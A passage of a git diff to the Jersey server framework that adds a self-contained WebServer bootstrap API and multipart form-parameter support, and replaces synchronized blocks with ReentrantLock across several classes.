+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+/**
+ * Factory for creating specific HTTP servers.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class WebServerFactory {
+
+ /**
+ * Prevents instantiation.
+ */
+ private WebServerFactory() {
+ }
+
+ /**
+ * Creates a server of a given type which runs the given application using the
+ * given bootstrap configuration.
+ * <p>
+ * The list of service-providers supporting the {@link WebServerProvider}
+ * service-provider will be iterated over until one returns a non-null server
+ * instance.
+ * <p>
+ *
+ * @param <T>
+ * the type of the server.
+ * @param type
+ * the type of the server. Providers SHOULD support at least
+ * {@link WebServer}.
+ * @param application
+ * The application to host.
+ * @param configuration
+ * The configuration (host, port, etc.) to be used for bootstrapping.
+ * @return the created server.
+ * @throws ProcessingException
+ * if there is an error creating the server.
+ * @throws IllegalArgumentException
+ * if no server provider supports the type.
+ */
+ public static <T extends WebServer> T createServer(final Class<T> type, final Application application,
+ final SeBootstrap.Configuration configuration) {
+ for (final WebServerProvider webServerProvider : ServiceFinder.find(WebServerProvider.class)) {
+ final T server = webServerProvider.createServer(type, application, configuration);
+ if (server != null) {
+ return server;
+ }
+ }
+
+ throw new IllegalArgumentException("No server provider supports the type " + type);
+ }
+
+ /**
+ * Creates a server of a given type which runs the given application using the
+ * given bootstrap configuration.
+ * <p>
+ * The list of service-providers supporting the {@link WebServerProvider}
+ * service-provider will be iterated over until one returns a non-null server
+ * instance.
+ * <p>
+ *
+ * @param <T>
+ * the type of the server.
+ * @param type
+ * the type of the server. Providers SHOULD support at least
+ * {@link WebServer}.
+ * @param application
+ * The application to host.
+ * @param configuration
+ * The configuration (host, port, etc.) to be used for bootstrapping.
+ * @return the created server.
+ * @throws ProcessingException
+ * if there is an error creating the server.
+ * @throws IllegalArgumentException
+ * if no server provider supports the type.
+ */
+ public static <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> application,
+ final SeBootstrap.Configuration configuration) {
+ for (final WebServerProvider webServerProvider : ServiceFinder.find(WebServerProvider.class)) {
+ final T server = webServerProvider.createServer(type, application, configuration);
+ if (server != null) {
+ return server;
+ }
+ }
+
+ throw new IllegalArgumentException("No server provider supports the type " + type);
+ }
+
+}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyRequestTimeoutHandler.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyRequestTimeoutHandler.java
index 761065e..91ec565 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyRequestTimeoutHandler.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyRequestTimeoutHandler.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,6 +19,8 @@
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
import java.util.logging.Level;
import java.util.logging.Logger;
@@ -42,7 +44,7 @@
private ScheduledFuture<?> timeoutTask = null; // guarded by runtimeLock
private ContainerResponseWriter.TimeoutHandler timeoutHandler = null; // guarded by runtimeLock
private boolean suspended = false; // guarded by runtimeLock
- private final Object runtimeLock = new Object();
+ private final Lock runtimeLock = new ReentrantLock();
private final ContainerResponseWriter containerResponseWriter;
private final ScheduledExecutorService executor;
@@ -71,7 +73,8 @@
* @see ContainerResponseWriter#suspend(long, TimeUnit, ContainerResponseWriter.TimeoutHandler)
*/
public boolean suspend(final long timeOut, final TimeUnit unit, final TimeoutHandler handler) {
- synchronized (runtimeLock) {
+ runtimeLock.lock();
+ try {
if (suspended) {
return false;
}
@@ -81,6 +84,8 @@
containerResponseWriter.setSuspendTimeout(timeOut, unit);
return true;
+ } finally {
+ runtimeLock.unlock();
}
}
@@ -94,7 +99,8 @@
* @see ContainerResponseWriter#setSuspendTimeout(long, TimeUnit)
*/
public void setSuspendTimeout(final long timeOut, final TimeUnit unit) throws IllegalStateException {
- synchronized (runtimeLock) {
+ runtimeLock.lock();
+ try {
if (!suspended) {
throw new IllegalStateException(LocalizationMessages.SUSPEND_NOT_SUSPENDED());
}
@@ -110,18 +116,21 @@
@Override
public void run() {
+ runtimeLock.lock();
try {
- synchronized (runtimeLock) {
- timeoutHandler.onTimeout(containerResponseWriter);
- }
+ timeoutHandler.onTimeout(containerResponseWriter);
} catch (final Throwable throwable) {
LOGGER.log(Level.WARNING, LocalizationMessages.SUSPEND_HANDLER_EXECUTION_FAILED(), throwable);
+ } finally {
+ runtimeLock.unlock();
}
}
}, timeOut, unit);
} catch (final IllegalStateException ex) {
LOGGER.log(Level.WARNING, LocalizationMessages.SUSPEND_SCHEDULING_ERROR(), ex);
}
+ } finally {
+ runtimeLock.unlock();
}
}
@@ -132,10 +141,15 @@
close(false);
}
- private synchronized void close(final boolean interruptIfRunning) {
- if (timeoutTask != null) {
- timeoutTask.cancel(interruptIfRunning);
- timeoutTask = null;
+ private void close(final boolean interruptIfRunning) {
+ runtimeLock.lock();
+ try {
+ if (timeoutTask != null) {
+ timeoutTask.cancel(interruptIfRunning);
+ timeoutTask = null;
+ }
+ } finally {
+ runtimeLock.unlock();
}
}
}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
index f8abbed..4e95a47 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +21,8 @@
import java.util.Collections;
import java.util.IdentityHashMap;
import java.util.Set;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
import java.util.function.Consumer;
import java.util.function.Function;
import java.util.logging.Level;
@@ -54,7 +56,7 @@
private final Consumer<Binding> registerBinding;
private final Set<Class<?>> bindingCache;
- private final Object bindingCacheLock;
+ private final Lock bindingCacheLock;
private volatile ResourceModel resourceModel;
@@ -73,7 +75,7 @@
this.injectInstance = injectInstance;
this.registerBinding = registerBinding;
this.bindingCache = Collections.newSetFromMap(new IdentityHashMap<>());
- this.bindingCacheLock = new Object();
+ this.bindingCacheLock = new ReentrantLock();
}
@Override
@@ -110,11 +112,14 @@
return;
}
- synchronized (bindingCacheLock) {
+ bindingCacheLock.lock();
+ try {
if (bindingCache.contains(resourceClass)) {
return;
}
unsafeBindResource(resourceClass, null);
+ } finally {
+ bindingCacheLock.unlock();
}
}
@@ -135,7 +140,8 @@
return;
}
- synchronized (bindingCacheLock) {
+ bindingCacheLock.lock();
+ try {
if (bindingCache.contains(resourceClass)) {
return;
}
@@ -144,6 +150,8 @@
}
bindingCache.add(resourceClass);
+ } finally {
+ bindingCacheLock.unlock();
}
}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
index ab70a02..bfaad0e 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,16 +16,26 @@
package org.glassfish.jersey.server.internal;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionStage;
+
+import jakarta.ws.rs.SeBootstrap;
import jakarta.ws.rs.core.Application;
import org.glassfish.jersey.internal.AbstractRuntimeDelegate;
import org.glassfish.jersey.message.internal.MessagingBinders;
import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.WebServerFactory;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.WebServer;
/**
* Server-side implementation of JAX-RS {@link jakarta.ws.rs.ext.RuntimeDelegate}.
- * This overrides the default implementation of {@link jakarta.ws.rs.ext.RuntimeDelegate} from
- * jersey-common which does not implement {@link #createEndpoint(jakarta.ws.rs.core.Application, java.lang.Class)}
+ * This overrides the default implementation of
+ * {@link jakarta.ws.rs.ext.RuntimeDelegate} from jersey-common which does not
+ * implement
+ * {@link #createEndpoint(jakarta.ws.rs.core.Application, java.lang.Class)}
* method.
*
* @author Jakub Podlesak
@@ -39,11 +49,84 @@
}
@Override
- public <T> T createEndpoint(Application application, Class<T> endpointType)
+ public <T> T createEndpoint(final Application application, final Class<T> endpointType)
throws IllegalArgumentException, UnsupportedOperationException {
if (application == null) {
throw new IllegalArgumentException("application is null.");
}
return ContainerFactory.createContainer(endpointType, application);
}
+
+ @Override
+ public JerseySeBootstrapConfiguration.Builder createConfigurationBuilder() {
+ return JerseySeBootstrapConfiguration.builder();
+ }
+
+ @SuppressWarnings("unchecked")
+ @Override
+ public CompletableFuture<SeBootstrap.Instance> bootstrap(final Application application,
+ final SeBootstrap.Configuration configuration) {
+
+ return CompletableFuture.supplyAsync(() -> {
+ final Class<WebServer> httpServerClass = configuration.hasProperty(ServerProperties.WEBSERVER_CLASS)
+ ? (Class<WebServer>) configuration.property(ServerProperties.WEBSERVER_CLASS)
+ : WebServer.class;
+
+ final WebServer webServer
+ = WebServerFactory.createServer(httpServerClass, application, configuration);
+ return instance(configuration, webServer);
+ });
+ }
+
+ @SuppressWarnings("unchecked")
+ public CompletableFuture<SeBootstrap.Instance> bootstrap(final Class<? extends Application> applicationClass,
+ final SeBootstrap.Configuration configuration) {
+
+ return CompletableFuture.supplyAsync(() -> {
+ final Class<WebServer> httpServerClass = configuration.hasProperty(ServerProperties.WEBSERVER_CLASS)
+ ? (Class<WebServer>) configuration.property(ServerProperties.WEBSERVER_CLASS)
+ : WebServer.class;
+
+ final WebServer webServer
+ = WebServerFactory.createServer(httpServerClass, applicationClass, configuration);
+ return instance(configuration, webServer);
+ });
+ }
+
+ private SeBootstrap.Instance instance(final SeBootstrap.Configuration configuration,
+ final WebServer _webServer) {
+ return new SeBootstrap.Instance() {
+ final WebServer webServer = _webServer;
+ @Override
+ public final JerseySeBootstrapConfiguration configuration() {
+ return JerseySeBootstrapConfiguration.from(name -> {
+ switch (name) {
+ case SeBootstrap.Configuration.PORT:
+ return webServer.port();
+ case ServerProperties.WEBSERVER_CLASS:
+ return webServer.getClass();
+ default:
+ return configuration.property(name);
+ }
+ });
+ }
+
+ @Override
+ public final CompletionStage<StopResult> stop() {
+ return this.webServer.stop().thenApply(nativeResult -> new StopResult() {
+
+ @Override
+ public final <T> T unwrap(final Class<T> nativeClass) {
+ return nativeClass.cast(nativeResult);
+ }
+ });
+ }
+
+ @Override
+ public final <T> T unwrap(final Class<T> nativeClass) {
+ return nativeClass.isInstance(this.webServer) ? nativeClass.cast(this.webServer)
+ : this.webServer.unwrap(nativeClass);
+ }
+ };
+ }
}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/FormParamValueParamProvider.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/FormParamValueParamProvider.java
index f1fcbeb..73c9684 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/FormParamValueParamProvider.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/FormParamValueParamProvider.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,19 +16,26 @@
package org.glassfish.jersey.server.internal.inject;
+import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.lang.annotation.Annotation;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
import java.net.URLDecoder;
import java.net.URLEncoder;
+import java.security.AccessController;
import java.util.List;
import java.util.Map;
import java.util.Set;
+import java.util.function.BiFunction;
import java.util.function.Function;
import jakarta.ws.rs.Encoded;
import jakarta.ws.rs.FormParam;
import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.EntityPart;
import jakarta.ws.rs.core.Form;
+import jakarta.ws.rs.core.GenericType;
import jakarta.ws.rs.core.HttpHeaders;
import jakarta.ws.rs.core.MediaType;
import jakarta.ws.rs.core.MultivaluedMap;
@@ -37,7 +44,13 @@
import jakarta.inject.Singleton;
import org.glassfish.jersey.internal.inject.ExtractorException;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.Providers;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.internal.util.collection.LazyValue;
import org.glassfish.jersey.internal.util.collection.NullableMultivaluedHashMap;
+import org.glassfish.jersey.internal.util.collection.Value;
+import org.glassfish.jersey.internal.util.collection.Values;
import org.glassfish.jersey.message.internal.MediaTypes;
import org.glassfish.jersey.message.internal.ReaderWriter;
import org.glassfish.jersey.server.ContainerRequest;
@@ -45,6 +58,7 @@
import org.glassfish.jersey.server.internal.InternalServerProperties;
import org.glassfish.jersey.server.internal.LocalizationMessages;
import org.glassfish.jersey.server.model.Parameter;
+import org.glassfish.jersey.server.spi.internal.ValueParamProvider;
/**
* Value factory provider supporting the {@link FormParam} injection annotation.
@@ -55,13 +69,17 @@
@Singleton
final class FormParamValueParamProvider extends AbstractValueParamProvider {
+ private final MultipartFormParamValueProvider multipartProvider;
/**
* Injection constructor.
*
* @param mpep extractor provider.
+ * @param injectionManager
*/
- public FormParamValueParamProvider(Provider<MultivaluedParameterExtractorProvider> mpep) {
+ public FormParamValueParamProvider(Provider<MultivaluedParameterExtractorProvider> mpep,
+ InjectionManager injectionManager) {
super(mpep, Parameter.Source.FORM);
+ this.multipartProvider = new MultipartFormParamValueProvider(injectionManager);
}
@Override
@@ -73,22 +91,37 @@
return null;
}
+ if (EntityPart.class == parameter.getType()) {
+ return new Function<ContainerRequest, Object>() {
+ @Override
+ public Object apply(ContainerRequest containerRequest) {
+ return multipartProvider.getEntityPart(containerRequest, parameter);
+ }
+ };
+ }
+
MultivaluedParameterExtractor e = get(parameter);
if (e == null) {
return null;
}
- return new FormParamValueProvider(e, !parameter.isEncoded());
+ return new FormParamValueProvider(e, multipartProvider, !parameter.isEncoded(), parameter);
}
private static final class FormParamValueProvider implements Function<ContainerRequest, Object> {
private static final Annotation encodedAnnotation = getEncodedAnnotation();
private final MultivaluedParameterExtractor<?> extractor;
+ private final MultipartFormParamValueProvider multipartProvider;
private final boolean decode;
+ private final Parameter parameter;
- FormParamValueProvider(MultivaluedParameterExtractor<?> extractor, boolean decode) {
+ FormParamValueProvider(MultivaluedParameterExtractor<?> extractor,
+ MultipartFormParamValueProvider multipartProvider,
+ boolean decode, Parameter parameter) {
this.extractor = extractor;
+ this.multipartProvider = multipartProvider;
this.decode = decode;
+ this.parameter = parameter;
}
private static Form getCachedForm(final ContainerRequest request, boolean decode) {
@@ -121,24 +154,27 @@
@Override
public Object apply(ContainerRequest request) {
- Form form = getCachedForm(request, decode);
+ if (MediaTypes.typeEqual(MediaType.MULTIPART_FORM_DATA_TYPE, request.getMediaType())) {
+ return multipartProvider.apply(request, parameter);
+ } else {
+ Form form = getCachedForm(request, decode);
- if (form == null) {
- Form otherForm = getCachedForm(request, !decode);
- if (otherForm != null) {
- form = switchUrlEncoding(request, otherForm);
- cacheForm(request, form);
- } else {
- form = getForm(request);
+ if (form == null) {
+ Form otherForm = getCachedForm(request, !decode);
+ if (otherForm != null) {
+ form = switchUrlEncoding(request, otherForm);
+ } else {
+ form = getForm(request);
+ }
cacheForm(request, form);
}
- }
- try {
- return extractor.extract(form.asMap());
- } catch (ExtractorException e) {
- throw new ParamException.FormParamException(e.getCause(),
- extractor.getName(), extractor.getDefaultValueString());
+ try {
+ return extractor.extract(form.asMap());
+ } catch (ExtractorException e) {
+ throw new ParamException.FormParamException(e.getCause(),
+ extractor.getName(), extractor.getDefaultValueString());
+ }
}
}
@@ -199,4 +235,96 @@
}
}
}
+
+ @Singleton
+ private static class MultipartFormParamValueProvider implements BiFunction<ContainerRequest, Parameter, Object> {
+ private static final class FormParamHolder {
+ @FormParam("name")
+ public static final Void dummy = null; // field to get an instance of FormParam annotation
+ }
+ private static Parameter entityPartParameter =
+ Parameter.create(
+ EntityPart.class, EntityPart.class, false, EntityPart.class, EntityPart.class,
+ AccessController.doPrivileged(ReflectionHelper.getDeclaredFieldsPA(FormParamHolder.class))[0]
+ .getAnnotations()
+ );
+
+ private final InjectionManager injectionManager;
+ private final LazyValue<ValueParamProvider> entityPartProvider;
+
+ private MultipartFormParamValueProvider(InjectionManager injectionManager) {
+ this.injectionManager = injectionManager;
+
+ //Get the provider from jersey-media-multipart
+ entityPartProvider = Values.lazy((Value<ValueParamProvider>) () -> {
+ Set<ValueParamProvider> providers = Providers.getProviders(injectionManager, ValueParamProvider.class);
+ for (ValueParamProvider vfp : providers) {
+ Function<ContainerRequest, ?> paramValueSupplier = vfp.getValueProvider(entityPartParameter);
+ if (paramValueSupplier != null && !FormParamValueParamProvider.class.isInstance(vfp)) {
+ return vfp;
+ }
+ }
+ return null;
+ });
+ }
+
+ @Override
+ public Object apply(ContainerRequest containerRequest, Parameter parameter) {
+ Object entity = null;
+ final EntityPart entityPart = getEntityPart(containerRequest, parameter);
+ if (entityPart != null) { // else jersey-multipart module is missing
+ try {
+ entity = parameter.getType() != parameter.getRawType()
+ ? entityPart.getContent(genericType(parameter.getRawType(), parameter.getType()))
+ : entityPart.getContent(parameter.getRawType());
+ } catch (IOException e) {
+ throw new ProcessingException(e);
+ }
+ }
+
+ return entity;
+ }
+
+ private EntityPart getEntityPart(ContainerRequest containerRequest, Parameter parameter) {
+ final ValueParamProvider valueParamProvider = entityPartProvider.get();
+ if (valueParamProvider != null) { // else jersey-multipart module is missing
+ final Function<ContainerRequest, ?> valueSupplier = valueParamProvider.getValueProvider(
+ new WrappingFormParamParameter(entityPartParameter, parameter));
+ return (EntityPart) valueSupplier.apply(containerRequest);
+ }
+ return null;
+ }
+
+ private GenericType genericType(Type rawType, Type genericType) {
+ return new GenericType(new ParameterizedType() {
+ @Override
+ public Type[] getActualTypeArguments() {
+ return new Type[]{genericType};
+ }
+
+ @Override
+ public Type getRawType() {
+ return rawType;
+ }
+
+ @Override
+ public Type getOwnerType() {
+ return null;
+ }
+ });
+ }
+
+ private static class WrappingFormParamParameter extends Parameter {
+ protected WrappingFormParamParameter(Parameter entityPartDataParam, Parameter realDataParam) {
+ super(realDataParam.getAnnotations(),
+ realDataParam.getSourceAnnotation(),
+ realDataParam.getSource(),
+ realDataParam.getSourceName(),
+ entityPartDataParam.getRawType(),
+ entityPartDataParam.getType(),
+ realDataParam.isEncoded(),
+ realDataParam.getDefaultValue());
+ }
+ }
+ }
}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
index b9ddc55..07337eb 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -87,7 +87,7 @@
EntityParamValueParamProvider entityProvider = new EntityParamValueParamProvider(paramExtractor);
suppliers.add(entityProvider);
- FormParamValueParamProvider formProvider = new FormParamValueParamProvider(paramExtractor);
+ FormParamValueParamProvider formProvider = new FormParamValueParamProvider(paramExtractor, injectionManager);
suppliers.add(formProvider);
HeaderParamValueParamProvider headerProvider = new HeaderParamValueParamProvider(paramExtractor);
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/jmx/MBeanExposer.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/jmx/MBeanExposer.java
index a7d5829..dc99a5d 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/jmx/MBeanExposer.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/jmx/MBeanExposer.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +21,8 @@
import java.util.Map;
import java.util.Set;
import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
import java.util.logging.Level;
import java.util.logging.Logger;
@@ -60,7 +62,7 @@
private volatile ResourcesMBeanGroup resourceClassStatsGroup;
private volatile ExceptionMapperMXBeanImpl exceptionMapperMXBean;
private final AtomicBoolean destroyed = new AtomicBoolean(false);
- private final Object LOCK = new Object();
+ private final Lock LOCK = new ReentrantLock();
/**
* Name of domain that will prefix mbeans {@link ObjectName}. The code uses this
@@ -110,45 +112,47 @@
void registerMBean(Object mbean, String namePostfix) {
final MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
final String name = domain + namePostfix;
+ LOCK.lock();
try {
- synchronized (LOCK) {
- if (destroyed.get()) {
- // already destroyed
- return;
- }
- final ObjectName objectName = new ObjectName(name);
- if (mBeanServer.isRegistered(objectName)) {
-
- LOGGER.log(Level.WARNING,
- LocalizationMessages.WARNING_MONITORING_MBEANS_BEAN_ALREADY_REGISTERED(objectName));
- mBeanServer.unregisterMBean(objectName);
- }
- mBeanServer.registerMBean(mbean, objectName);
+ if (destroyed.get()) {
+ // already destroyed
+ return;
}
+ final ObjectName objectName = new ObjectName(name);
+ if (mBeanServer.isRegistered(objectName)) {
+
+ LOGGER.log(Level.WARNING,
+ LocalizationMessages.WARNING_MONITORING_MBEANS_BEAN_ALREADY_REGISTERED(objectName));
+ mBeanServer.unregisterMBean(objectName);
+ }
+ mBeanServer.registerMBean(mbean, objectName);
} catch (JMException e) {
throw new ProcessingException(LocalizationMessages.ERROR_MONITORING_MBEANS_REGISTRATION(name), e);
+ } finally {
+ LOCK.unlock();
}
}
private void unregisterJerseyMBeans(boolean destroy) {
final MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
+ LOCK.lock();
try {
- synchronized (LOCK) {
- if (destroy) {
- destroyed.set(true); // do not register new beans since now
- }
+ if (destroy) {
+ destroyed.set(true); // do not register new beans since now
+ }
- if (domain == null) {
- // No bean has been registered yet.
- return;
- }
- final Set<ObjectName> names = mBeanServer.queryNames(new ObjectName(domain + ",*"), null);
- for (ObjectName name : names) {
- mBeanServer.unregisterMBean(name);
- }
+ if (domain == null) {
+ // No bean has been registered yet.
+ return;
+ }
+ final Set<ObjectName> names = mBeanServer.queryNames(new ObjectName(domain + ",*"), null);
+ for (ObjectName name : names) {
+ mBeanServer.unregisterMBean(name);
}
} catch (Exception e) {
throw new ProcessingException(LocalizationMessages.ERROR_MONITORING_MBEANS_UNREGISTRATION_DESTROY(), e);
+ } finally {
+ LOCK.unlock();
}
}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarFileScanner.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarFileScanner.java
index 14e86e3..818bdbe 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarFileScanner.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarFileScanner.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,6 +19,8 @@
import java.io.IOException;
import java.io.InputStream;
import java.util.NoSuchElementException;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
import java.util.jar.JarEntry;
import java.util.jar.JarInputStream;
import java.util.logging.Level;
@@ -110,6 +112,7 @@
public InputStream open() {
//noinspection NullableProblems
return new InputStream() {
+ private final Lock markLock = new ReentrantLock();
@Override
public int read() throws IOException {
@@ -142,13 +145,23 @@
}
@Override
- public synchronized void mark(final int i) {
- jarInputStream.mark(i);
+ public void mark(final int i) {
+ markLock.lock();
+ try {
+ jarInputStream.mark(i);
+ } finally {
+ markLock.unlock();
+ }
}
@Override
- public synchronized void reset() throws IOException {
- jarInputStream.reset();
+ public void reset() throws IOException {
+ markLock.lock();
+ try {
+ jarInputStream.reset();
+ } finally {
+ markLock.unlock();
+ }
}
@Override
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/PackageNamesScanner.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/PackageNamesScanner.java
index 06a9432..d482dde 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/PackageNamesScanner.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/PackageNamesScanner.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,6 +27,8 @@
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
import org.glassfish.jersey.internal.OsgiRegistry;
import org.glassfish.jersey.internal.util.ReflectionHelper;
@@ -54,7 +56,7 @@
* URI schemes.
* <p>
* Further schemes may be registered by registering an implementation of
- * {@link UriSchemeResourceFinderFactory} in the META-INF/services file whose name is the
+ * {@link UriSchemeResourceFinderFactory} in the META-INF/services file whose name is
* the fully qualified class name of {@link UriSchemeResourceFinderFactory}.
* <p>
* If a URI scheme is not supported a {@link ResourceFinderException} will be thrown
@@ -195,13 +197,15 @@
public abstract static class ResourcesProvider {
private static volatile ResourcesProvider provider;
+ private static final Lock RESOURCE_PROVIDER_LOCK = new ReentrantLock();
private static ResourcesProvider getInstance() {
// Double-check idiom for lazy initialization
ResourcesProvider result = provider;
if (result == null) { // first check without locking
- synchronized (ResourcesProvider.class) {
+ RESOURCE_PROVIDER_LOCK.lock();
+ try {
result = provider;
if (result == null) { // second check with locking
provider = result = new ResourcesProvider() {
@@ -214,6 +218,8 @@
};
}
+ } finally {
+ RESOURCE_PROVIDER_LOCK.unlock();
}
}
@@ -226,9 +232,9 @@
final ReflectPermission rp = new ReflectPermission("suppressAccessChecks");
security.checkPermission(rp);
}
- synchronized (ResourcesProvider.class) {
- ResourcesProvider.provider = provider;
- }
+ RESOURCE_PROVIDER_LOCK.lock();
+ ResourcesProvider.provider = provider;
+ RESOURCE_PROVIDER_LOCK.unlock();
}
/**
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServer.java b/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServer.java
new file mode 100644
index 0000000..731e4eb
--- /dev/null
+++ b/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServer.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server.spi;
+
+import java.util.concurrent.CompletionStage;
+
+import jakarta.ws.rs.ConstrainedTo;
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.spi.Contract;
+
+/**
+ * Jersey service contract for self-contained servers.
+ * <p>
+ * Runs a self-contained {@link Application} in a {@link Container} using a
+ * Web Server implicitly started and stopped together with the application.
+ * </p>
+ * <p>
+ * The WebServer instance is wrapped by the implementation of {@link jakarta.ws.rs.SeBootstrap.Instance}.
+ * </p>
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+@Contract
+@ConstrainedTo(RuntimeType.SERVER)
+public interface WebServer {
+
+ /**
+ * @return container in which the application lives.
+ */
+ public Container container();
+
+ /**
+ * @return IP port the application listens to for requests.
+ */
+ public int port();
+
+ /**
+ * Initiates server bootstrap.
+ * <p>
